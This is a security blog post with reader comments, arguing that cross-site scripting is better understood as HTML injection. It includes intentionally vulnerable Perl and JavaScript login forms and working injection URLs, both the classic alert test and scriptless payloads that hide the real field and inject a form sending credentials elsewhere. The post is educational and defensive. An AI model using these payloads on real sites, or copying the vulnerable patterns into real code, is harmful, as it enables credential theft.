Cross-Site Scripting (XSS) – no script required

I’m going to give away a secret that I’ve successfully used at every interview I’ve had for a security position.

Cross-Site Scripting” (XSS) is a remarkably poor term for the attack or vulnerability (code can be particularly vulnerable to a cross-site scripting attack) it describes. The correct term should be “HTML Injection”, because it succinctly explains the source of the problem, and should provide developers with pretty much all the information they need to recognise, avoid, prevent, and address the vulnerabilities that lead to these attacks being possible.

  1. It doesn’t abbreviate well – the accepted abbreviation is XSS, because CSS was taken by “Cascading Style Sheets”
  2. Nobody seems to be able to explain, definitively and without the possibility of being contradicted by someone else’s explanation, whether “Cross Site” means “intra site”, “inter site”, both or neither. Certainly there are examples of attacks which use one XSS-vulnerable page only to exploit a user.
  3. As you will see from the remainder of this post, no actual script is required at all, either on the browser, or on the server. So, disabling script in the browser, or running a tool such as noscript that essentially does the same thing for you, is not a complete solution.
  4. HTML Injection can include injecting ActiveX, Flash, Java, or JavaScript objects into an HTML page.

[Note that I am not suggesting that prior work into XSS protections is bad, just that it is not complete if it focuses on JavaScript / ECMAScript / whatever you want to call it.]

Failure to understand XSS has led to people assuming that they can protect themselves by simple measures – disabling JavaScript, filtering “<script>” tags, “javascript:” URLs, and so on. Such approaches have uniformly failed to work, in much the same way as other “black-list” methods of defeating attacks on security flaws – it pretty much dares the attacker to find a way to exploit the bug using something else.

Particularly galling is when I look at code whose developers had heard about XSS, had looked about for solutions, and had found a half-baked solution that made them feel better about their code, made the bug report go from “reproducible” to “cannot reproduce”, but left them open to an attacker with a little more ingenuity (or simply a more exhaustive source of sample attacks) than they had. It seems that developers often try, but are limited by the resources they find on the Intarweb – particularly blogs seem to provide poor solutions (ironic, I know, that I am complaining about this in my blog).

I know all this – give me something new.

Alright then, here’s something that appears to be new to many – a demonstration of Cross-Site Scripting without scripting.

We all know how XSS happens, right? A programmer wants to let the user put some information on the page. Let’s say he wants to warn the user that his password was entered incorrectly, or his logon session has expired. So, he needs to ask the user to enter username and password again, but probably wants to save time by putting the user’s name in place for the user, to save on typing.

Here’s what the form looks like – you’ve all seen it before:

image

The code for this form is simple, mostly to make the example easy. I’ll write it in Perl and Javascript – because the Perl version is exploitable everywhere, and because the Javascript version demonstrates how DOM-based XSS attacks work (and how browser strangeness can cause them to be flakey).

[Note: A DOM-based attack, for those that don’t know, is an attack that uses Javascript to modify the HTML page while it is at the browser’s site. These are difficult to detect, but generally result from the use of unsafe functionality such as the innerHTML call.]

Needles to say – don’t use these as examples of good code – these are EXAMPLES of VULNERABLE CODE. And lousy code at that.

Perl:

use CGI;
$query = new CGI;
print $query->h1("
Session timed out."), $query->p("You have been logged out from the site - please enter your username and password to log back in."), $query->start_form(-action=>"happyPage.htm", -method=>"get"), "Username: <input name=\"username\" value=\"" + $query->param("username") + "\" />",$query->br(),
"Password: ", $query->input(-name=>"password",-type=>"password"),$query->br(), $query->submit(),
$query->end_form();


Javascript:



<h1>Session timed out.</h1>
<p >You have been logged out from the site - please enter your username and password to log back in.</p>
<form id="safeForm" action="happyPage.htm" method="get">
  Username: <input name="username" value="name placeholder" /><br />
  Password: <input name="password" type="password" /><br />
  <input type="submit" />
</form>

<script type="text/javascript">
    var queries;
    function getQueryString(key) {
        if (queries == undefined) {
            queries = {};
            var s = window.location.href.replace(/[^?]+\?/, "").split("&");
            for (var x in s) {
                var v = s[x].split("=");
                if (v.length == 2)
                    queries[v[0]] = decodeURIComponent(v[1].replace(/\+/g, " "));
            }
        }
        if (key in queries)
            return queries[key];
        return "";
    }

    var myField = document.getElementById("safeForm");

    if (myField != null) {
        var un = getQueryString("username");

        // Build the form with the username passed in.

        myField.innerHTML = myField.innerHTML.replace(/name placeholder/,un);
    }
</script>




.csharpcode, .csharpcode pre
{
font-size: small;
color: black;
font-family: consolas, “Courier New”, courier, monospace;
background-color: #ffffff;
/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt
{
background-color: #f4f4f4;
width: 100%;
margin: 0em;
}
.csharpcode .lnum { color: #606060; }

Side Note – on DOM-based XSS and anchors



Now, why did I specifically include the “getQueryString” in my Javascript version above? I could have simply said “assume this function exists with ordinary behaviour”. Well, I chose that one (downloaded from, naturally, a blog advising how to do this properly) because it processes the entire href, anchor and all.



If we modify our URL by adding “#&” between the query and the variable “username”, it demonstrates one of the more frightening aspects of DOM-based attacks. Those of you who are aware of what an anchor does to a browser will already have figured it out, but here’s a quick explanation.



The “anchor” is considered to be everything after the “#” in a URL. Although it looks like it’s part of the query string, it’s not. Browsers don’t send the “#” or anything after it to the server when requesting a web page, so it’s not seen in a network trace, and it’s not seen in the server logs. This means that DOM-based attacks can hide all manner of nastiness in the anchor, and your scanners won’t pick it up at all.





Back to the scriptless XSS…



So, this page would normally get executed with a parameter, “username” which would be the username whose account we’re asking for credentials for – and certainly it works with http://localhost/XSSFile.htm?username=Fred@example.com :



image



The trouble is, it also works with the XSS attackers’ favourite test example, alert("XSS")%3b’>http://localhost/XSSFile?username="><script>alert("XSS")%3b</script> :



image



Now, I’ve seen developers who are given this demonstration that their page is subject to an XSS attack. What do they do? They block the attack. Note that this is not the same as removing or fixing the vulnerability. What these guys will do is block angle brackets, or the tag “<script>”. As a security guy, this makes me sigh with frustration, because we try to drill it into people’s heads, over and over and over again, that blacklisting just doesn’t work, and that “making the repro go away” is not equivalent to “fixing the problem demonstrated by the repro”.



The classic attacker’s response to this is to go to http://ha.ckers.org/xss.html for the XSS Cheat Sheet, and pull something interesting from there. Maybe use the list of events, say, to decide that you could set the ‘onfocus’ handler to execute your interesting code.



But no, let’s suppose by some miracle of engineering and voodoo the defender has managed to block all incoming scripts. Even so, we’re still vulnerable to XSS.



What happens if we try this link:



http://localhost/XSSFile?username="+type%3dhidden></form><form+action%3dbadpage+method%3dget><input+name=username+value%3d"Fred



[The “%3d” there is a hex value representing the “=” character so that the query-string parser doesn’t split our attack.]



image



OK, that’s kind of ugly – but it demonstrates that you can use an XSS vulnerability to inject any HTML – including a new <form> tag, with a different destination – “badpage” in our URL above, but it could be anywhere. And by hiding the attacked input field, we can engineer the user into thinking it’s just a display issue



With some piggery-jokery, we can get to this:



http://localhost/XSSFile?username="+style%3dborder:0px%3bwidth:0px/></form><form+method%3dget+action%3dsadpage.htm+style%3dposition:relative%3btop:-3.5ex><input+name%3dusername+value%3d"Fred@example.com"+style%3d"position:relative%3bleft:65px



Looks much better (and with more work, we could get it looking just right):



image



So, there you have a demonstration of scriptless cross-site scripting. XSS, or HTML Injection, as I’d prefer you think of it, can inject any tag(s) into your page – can essentially rewrite your page without your knowledge. If you want to explain the magnitude of XSS, it is simply this – an attacker has found a way to rewrite your web page, as if he was employed by you.



[Of course, if I hadn’t been trying to demonstrate that XSS is a misnomer, and prove that you can shove any old HTML into it, I would simply have used a piece of script, probably on the onmouseover event, to set the action of the form to post to my bad site. Fewer characters. Doing so is left as an exercise for the reader.]



Side discussion – why does the Javascript version work at all?



It doesn’t work in Internet Explorer, but in other browsers, it seems to work just fine. At first look, this would seem to suggest that “innerHTML” on a <form> tag is allowing the “</form">” in the XSS to escape out from the parent form. I can assure you that’s not the case, because if you could escape out, that would be a security flaw in the browsers’ implementation of innerHTML. So, what’s it doing, and how do you find out?

9 Responses to Cross-Site Scripting (XSS) – no script required

  • I’m not sure that I understand why you say no script is required.  If there isn’t a script, there’s no way for data to be dynamically inserted into the HTML.

    In your first example, you require a Perl script.  You could use a compiled CGI executable, of course, or a web server plugin, but I thought that any form of dynamic page generation was generally referred to as server-side scripting?

    In your second example, you require Javascript.

    What am I missing?

    re: There’s script and there’s script

    OK, I can see the confusion.

    The Perl and Javascript you refer to are the source code for the page. The script I’m saying is implicit in the term “Cross Site Scripting” is script in the attack code. So, I’m saying that I can do a “Cross Site Scripting attack” without using script in the attack. That’s all.

    Thursday, July 15, 2010 10:15 PM by Alun Jones
  • Great article and I feel the same way about the term XSS really being sloppy, just like many patches against it. Another thing you could do is to use a meta, or even a flash, redirect to your own phising environment, if gaining credentials without scripting was the goal. Though “oldschool” (If we can call it so now that it’s outdated) session-riding would not be possible without scripting, and that’s what XSS ever was for.. At least in my eyes :)

  • OK, thanks for clearing that up.  Perhaps it’s just me, but I always interpreted the final S in XSS as meaning source-code-script, not attack script.  Hadn’t occurred to me it could be taken any other way.  :-)

    re: Assumptions 

    You do nothing more and nothing less in that comment than to underscore that I also made the assumption that “script” was obviously only referring to the attack script.

    While I think that’s the correct interpretation, next time I explain it, I’ll be sure to touch on the topic of attack script versus attacked script. Thanks for expanding my own vision.

    Sunday, July 18, 2010 18:55 PM by Alun Jones
  • Luis Santana says:

    Personally I do not feel the XSS is a misnomer at all. Yes, due to recent research we now know that we can inject a multitude of things into a vulnerable site but when XSS was originally discovered the attack vector was typically getting the vulnerable page to execute a script not locally hosted. The best example is the tried and true XSS javascript cookie stealer; does it run a script from another site? Yes.

    In the end, I do agree with you that XSS is much more powerful (in terms of being deceptive with an attack) than it was once thought to be but I in no way feel that XSS is a misnomer.

    re: Not sure I follow

    Should we call it a wireless or a radio? An album or a playlist?

    One term echoes its history, and how the item being described came to be; the other describes what it is today.

    A “horseless carriage”, as another description, evokes the surprise people faced when discovering a vehicle that was propelled without a horse. Today, there’s none of that surprise, so it’s simply called a “car”. Calling it a horseless carriage may evoke some of the history that you might think is important to know, but calling it a car (perhaps clarifying by saying whether it’s petrol or diesel fueled) is going to emphasise the relations in people’s minds that allow them to think of it as a vehicle that can propel them somewhere.

    Similarly, XSS or Cross Site Scripting evokes the history, and perhaps the common form that attacks take, but I find that when I try to explain the term to developers, I get “huh?” when I talk about Cross Site Scripting, but when I talk about HTML Injection, I get “oh, yeah, I understand now”. Then we can talk about the fact that one of the most dangerous HTML tags to inject is <script>.

    Too many developers focus on the aspect that this is a “script-based attack”, and they wind up putting defences against script, such as banning the word “script” or “javascript”; make it clear that they are actually defending against any and all HTML, and they find it easier to see that the best solution is to define what HTML is inoffensive, and ban all other tags.

    Thursday, July 22, 2010 09:20 AM by Alun Jones
  • Trying says:

  • alunj says:

    Funny.

  • Pankti says:

    Great article. I am currently working on the similar problem where it is executing the javascript(in our case alert(1)). Could you also explain how to resolve that issue?

  • alunj says:

    I’d like to point initially to my later post on XSS – http://msmvps.com/blogs/alunj/archive/2010/07/18/1773681.aspx – this will boil down the XSS problem a little for you, and also give you some ideas as to how to address XSS in general.
    The main thing to remember is that XSS is a failure to unambiguously separate code from data. So, your fix is to ensure that code and data are unambiguously separated, and that they cannot intermingle.

  • asd says:

Leave a Reply

Your email address will not be published. Required fields are marked *


*

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>